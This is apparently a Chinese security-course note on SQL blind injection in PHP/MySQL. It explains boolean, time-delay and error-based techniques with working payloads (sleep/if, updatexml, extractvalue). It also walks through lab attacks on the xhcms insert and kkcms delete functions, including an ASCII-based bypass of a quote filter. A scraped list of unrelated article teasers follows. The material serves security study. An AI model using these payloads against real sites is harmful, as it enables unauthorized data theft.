第44天:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

时间轴:

44天知识点总结:

1.mysql的增删改查功能

2.根据源码sql语句的三种sql注入:布尔盲注(必须要有回显)

                                                        延时判断(都可以)

                                                        报错回显(必须要有报错处理机制)

3.两个cms案例:

xhcms,kkcms

使用ascil进行单引号绕过。

4.写的一个新闻网页,使用del过滤。

演示案例:

PHP-MYSQL-SQL 操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS 案例-插入报错&删除延迟

PHP-MYSQL-SQL 操作-增删改查

1、功能:数据查询(注重数据回显)
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等(注重结果)
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等(注重结果)
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等(注重结果)
修改:UPDATE news SET id=$id

insert是如何进行注入的?
演示:

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在==注入过程中,获取的数据不能回显==至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:

1、基于布尔的 SQL 盲注-逻辑判断(需要有回显)

regexp,like,ascii,left,ord,mid
#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;

2、基于时间的 SQL 盲注-延时判断(可以不用回显及报错处理)

if,sleep
#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);

演示:

3、基于报错的 SQL 盲注-报错回显(需要报错处理)

基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。

FLOOR:

FLOOR 函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。
如果在使用 FLOOR 函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。


updatexml:

updatexml 函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。

  • 示例:
  • 上述语句尝试通过 updatexml 函数将波浪符 0x7e 连接到数据库名称,从而引发错误并回显数据库名称。

extractvalue:

extractvalue 函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。

示例:
上述语句尝试通过 extractvalue 函数将波浪符 0x7e 连接到当前用户的名称,从而引发错误并回显用户信息。

extractvalue(1, concat(0x7e, (SELECT user())), 1)
使用方法:
#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

演示:

4.更多:

12种报错注入+万能语句 - 简书

like 'ro%'            #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错

1.基于延时:((报错和回显都不需要))

and if(1=1,sleep(5),0)

2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显)

and length(database())=6

3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注)

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3  and length(database())=6(无回显,无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

演示案例:

news.html与news.php:

尝试对删除功能进行注入:

没有对数据进行回显操作,只有报错处理。

PHP-MYSQL-CMS 案例-插入报错&删除延迟

1、xhcms-insert报错
’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’

打开对应的源码

  1. ctrl+shift+f:全局搜索:insert
  2. 发现有报错处理:文件路径为:files/submit.php
  3. 由于网址在index.php有规定,特殊的路由访问方式
  4. 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发
  5. 所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面
  6. 再次查看submit.php页面发现其SQL语句中的表名为$query = "INSERT INTO ***interaction ,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;*
  7. 分析sql语句$query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now())"; 发现有‘ ’影响,在注入时,需要避免
  8. 使用注入:' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  9. 注意:留言内容必须是中文,不然会无法回显报错
  10. 数据回显:新增错误:XPATH syntax error: '5.7.26’,盲注成功

1.ctrl+shift+f:全局搜索:insert

发现在此处可以进行sql报错处理。

2.发现有报错处理:文件路径为:files/submit.php

右鍵找到地址,复制地址可以看到路径。

3.正常情况去访问:(会发现报错)

分析发现是使用别的访问方式:

4.于是尝试访问:(发现出现报错)

5.于是继续进行全局搜索:发现有个contact是需要此数据传递的

6.所以直接使用http://10.0.0.5:84/?r=contact 触发网址,并对照源码发现,就是此页面

7.源码和网页对应上。

8.可判断此处就是接受评论的地方。

9.发现interaction和数据库对应上,也和网页对用上。

10.由于有报错可以进行盲注报错处理,但由于数据中有'',所以需要进行过滤。

使用语句:

' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

2、kkcms-delete延时

and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)

  1. 打开对应的源码
  2. ctrl+shift+f:全局搜索:delete
  3. 发现有删除相关代码:文件路径为:admin/model/usergroup.php
  4. 访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,
  5. 解决:必须需要登录http://10.0.0.5/admin 还是空白
  6. 由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配
  7. 搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php
  8. http://10.0.0.5/admin/cms_usergroup.php 访问成功
  9. 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

1.打开对应的源码

2.ctrl+shift+f:全局搜索:delete

3.发现有删除相关代码:文件路径为:admin/model/usergroup.php

4.访问发现http://10.0.0.5/admin/model/usergroup.php,出现空白,

5.解决:必须需要登录http://10.0.0.5/admin 

用戶名:admin

密码:123456

6.由于usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配

7.搜到包含文件include('model/usergroup.php'); 使用该文件路径进行网址访问/admin/cms_usergroup.php

http://10.0.0.5/admin/cms_usergroup.php访问成功

寻找表:

由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp

  • 使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功?del=4 or if(1=1,sleep(2),sleep(0))
  • 回显200成功后,将?del=4%20or%20if(1=1,sleep(1),sleep(0)) 注入代码写入GET头,并查看右下角,发现有延时,注入成功
  • 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别

  • ?del=4%20or%20if(length(database())=5,sleep(1),sleep(0)) 将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位(可以查看右下角判断时间)
  • ?del=4%20or%20if(**left(database(),1)='k',sleep(1),sleep(0))将判断内容替换为检查当前数据库名称的第一个字符是否为 ‘k’。

发现,回显的数据包,并没有延时,但数据库名为kkcms
将源码的sql语句打印出来,发现是源码对于单引号做了过滤

  • ord() 函数:
  • ord() 函数返回字符串的第一个字符的 ASCII 值。
  • 在这个语句中,ord(left(database(),1)) 返回当前数据库名称的第一个字符的 ASCII 值。

?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0)) 将条件使用ord() 函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤。
ASCII值:k-->107:

   

网站搭建教程:

1.xhcms:

使用phpstudy5.4.45
跳转install,安装即可:

若报错:
 

 则:

2.kkcms:

 

 

 本文章由李豆豆喵和番薯小羊卷~共同完成。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/32325.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【51单片机】程序实验15.DS18B20温度传感器

主要参考学习资料&#xff1a;B站【普中官方】51单片机手把手教学视频 开发资料下载链接&#xff1a;http://www.prechin.cn/gongsixinwen/208.html 单片机套装&#xff1a;普中STC51单片机开发板A4标准版套餐7 目录 DS18B20介绍主要特性内部结构控制时序初始化时序写时序读时序…

Vue3 深度解析:构建现代Web应用的全新范式

Vue3 深度解析&#xff1a;构建现代Web应用的全新范式 mindmaproot(Vue3核心革新)性能优化Proxy响应式编译优化体积缩减Composition APIsetup语法逻辑复用TypeScript支持新特性TeleportSuspense片段支持工程化Vite集成自定义渲染器服务端渲染一、Vue3 架构革新&#xff1a;从O…

推理模型对SQL理解能力的评测:DeepSeek r1、GPT-4o、Kimi k1.5和Claude 3.7 Sonnet

引言 随着大型语言模型&#xff08;LLMs&#xff09;在技术领域的应用日益广泛&#xff0c;评估这些模型在特定技术任务上的能力变得越来越重要。本研究聚焦于四款领先的推理模型——DeepSeek r1、GPT-4o、Kimi k1.5和Claude 3.7 Sonnet在SQL理解与分析方面的能力&#xff0c;…

cesium安装与配置(visual studio版)

文章目录 一、下载Cesium二、解压Cesium三、VS打开网站四、参考文献 如有错误&#xff0c;请指正&#xff01;&#xff01;&#xff01; 一、下载Cesium 登录官网&#xff0c;下载Cesium。 点击箭头所指&#xff0c;下载Cesium 二、解压Cesium 解压Cesium压缩包得到以下文件…

Netty基础—3.基础网络协议二

大纲 1.网络基础的相关问题总结 2.七层模型和四层模型 3.物理层(网线 光缆 01电信号) 4.数据链路层(以太网协议 网卡mac地址) 5.网络层(IP协议 子网划分 路由器) 6.传输层(TCP和UDP协议 Socket 端口) 7.应用层(HTTP协议 SMTP协议) 8.浏览器请求一个域名会发生什…

Linux:Ubuntu server 24.02 上搭建 ollama + dify

一、安装Ubuntu 具体的安装过程可以参见此链接&#xff1a;链接&#xff1a;Ubuntu Server 20.04详细安装教程&#xff0c;这里主要记录一下过程中遇到的问题。 安装时subnet如何填写 在Ubuntu中subnet填写255.255.255.0是错误的&#xff0c;其格式为 xx.xx.xx.xx/yy &#…

算法练习——双指针算法(更新中)

一、介绍双指针算法 双指针&#xff08;或称为双索引&#xff09;算法是一种高效的算法技巧&#xff0c;常用于处理数组或链表等线性数据结构。它通过使用两个指针来遍历数据&#xff0c;从而减少时间复杂度&#xff0c;避免使用嵌套循环。双指针算法在解决诸如查找、排序、去重…

stm32week6

stm32学习 三.通信 5.硬件读取I2C 硬件读取I2C的代码(main.c与软件读取相同)&#xff1a; #include "stm32f10x.h" // Device header #include "MPU6050_Reg.h"#define MPU6050_ADDRESS 0xD0 //MPU6050的I2C从机地址/*** 函 数&…

qt+opengl 播放yuv视频

一、实现效果 二、pro文件 Qt widgets opengl 三、主要代码 #include "glwidget.h"GLWidget::GLWidget(QWidget *parent) : QOpenGLWidget(parent) {connect(&m_timer, &QTimer::timeout, this,[&](){this->update();});m_timer.start(1000/33); }v…

文本对抗样本系列的论文阅读笔记(整理合订)

文本对抗样本系列的论文阅读笔记 以前调研文本对抗样本时的论文笔记梳理&#xff0c;论文都很经典&#xff0c;有现成的框架&#xff08;TextAttack&#xff09;可以直接用&#xff0c;论文中部分内容直接是截取自论文&#xff0c;所以存在中英混合笔记的情况。 BERT-Attack …

相对与绝对路径的关系

首先&#xff0c;我们一起来了解相对路径和绝对路径的概念&#xff1a; 相对路径&#xff1a;相对于当前工作目录的路径&#xff0c;不以 / 开头&#xff0c;以一个 ""、./、../、。例如&#xff1a;nginx、./nginx 或 ../nginx绝对路径&#xff1a;从根目录 / 开始…

java项目之基于ssm的在线学习系统(源码+文档)

项目简介 在线学习系统实现了以下功能&#xff1a; 该系统可以实现论坛管理&#xff0c;通知信息管理&#xff0c;学生管理&#xff0c;回答管理&#xff0c;教师管理&#xff0c;教案管理&#xff0c;公告信息管理&#xff0c;作业管理等功能。 &#x1f495;&#x1f495;作…

位运算刷题+总结

文章目录 判定字符是否唯一题解代码 丢失的数字题解代码 两整数之和题解代码 只出现一次的数字 II题解代码 消失的两个数字题解代码 总结 判定字符是否唯一 题目链接 题解 1. 哈希表&#xff0c;创建26个空间大小的哈希表 2. 位图&#xff0c;小写字符只有26个&#xff0c;…

Qt表格美化笔记

介绍 表格是一种常见的数据管理界面形式&#xff0c;在大批量的数据交互情形下使用的比较多 表格 可以通过样式表设置线条以及边框的颜色 QTableWidget { gridline-color : rgb(55, 60, 62); border: 1px solid rgb(62,112,181);}表头 如果表头和第一行的分割线显示&#…

【Godot4.2】Vector2向量插值的应用

求线段的等分点 extends Node2Dvar pos:Vector2 var split_num:int var p1 Vector2(200,200) var p2 Vector2(100,100)func _input(event: InputEvent) -> void:if event is InputEventMouseButton:if event.button_index MOUSE_BUTTON_WHEEL_DOWN:split_num clamp(spl…

Git使用(二)--如何配置 GitHub 远程仓库及本地 Git 环境

在日常的开发过程中&#xff0c;使用版本控制工具 Git 是一个非常重要的技能&#xff0c;特别是对于管理和协作开发。通过 GitHub&#xff0c;我们可以轻松地进行代码版本管理和共享。这篇博客将带您一步步学习如何配置 Git 环境并将本地仓库与 GitHub 远程仓库连接起来。 一、…

【算法工具】HDL: 基于摘要统计数据的高维连锁不平衡分析软件

## 前言 在基因组研究中&#xff0c;连锁不平衡(Linkage Disequilibrium, LD)分析是理解遗传变异之间关联的关键步骤。然而&#xff0c;当面对高维数据时&#xff0c;传统分析方法往往面临巨大计算挑战。今天为大家介绍一款强大的工具——HDL (High-Dimensional Linkage diseq…

MongoDB副本集部署完整教程

一般而言&#xff0c;副本集主要成员有三个&#xff1a;主节点&#xff0c;副本节点&#xff0c;仲裁节点 按照官方推荐方案&#xff0c;我们搭建一个三成员的副本集&#xff0c;这个副本集由一个主结点和两个副本结点组成。 这里采用三台虚拟机进行部署&#xff1a;node1(主节…

springcloud gateway通过数据库获取路由信息

在 Spring Cloud Gateway 中结合 MyBatis 动态从数据库加载路由配置&#xff0c;可以实现灵活的路由管理。以下是详细实现步骤&#xff1a; 1. 数据库表设计 创建路由配置表 gateway_route&#xff1a; CREATE TABLE gateway_route (id varchar(50) NOT NULL COMMENT 路由唯一…

蓝桥杯嵌入式组第十二届省赛题目解析+STM32G431RBT6实现源码

文章目录 1.题目解析1.1 分而治之&#xff0c;藕断丝连1.2 模块化思维导图1.3 模块解析1.3.1 KEY模块1.3.2 LED模块1.3.3 LCD模块1.3.4 TIM模块1.3.5 UART模块1.3.5.1 uart数据解析 2.源码3.第十二届题目 前言&#xff1a;STM32G431RBT6实现嵌入式组第十二届题目解析源码&#…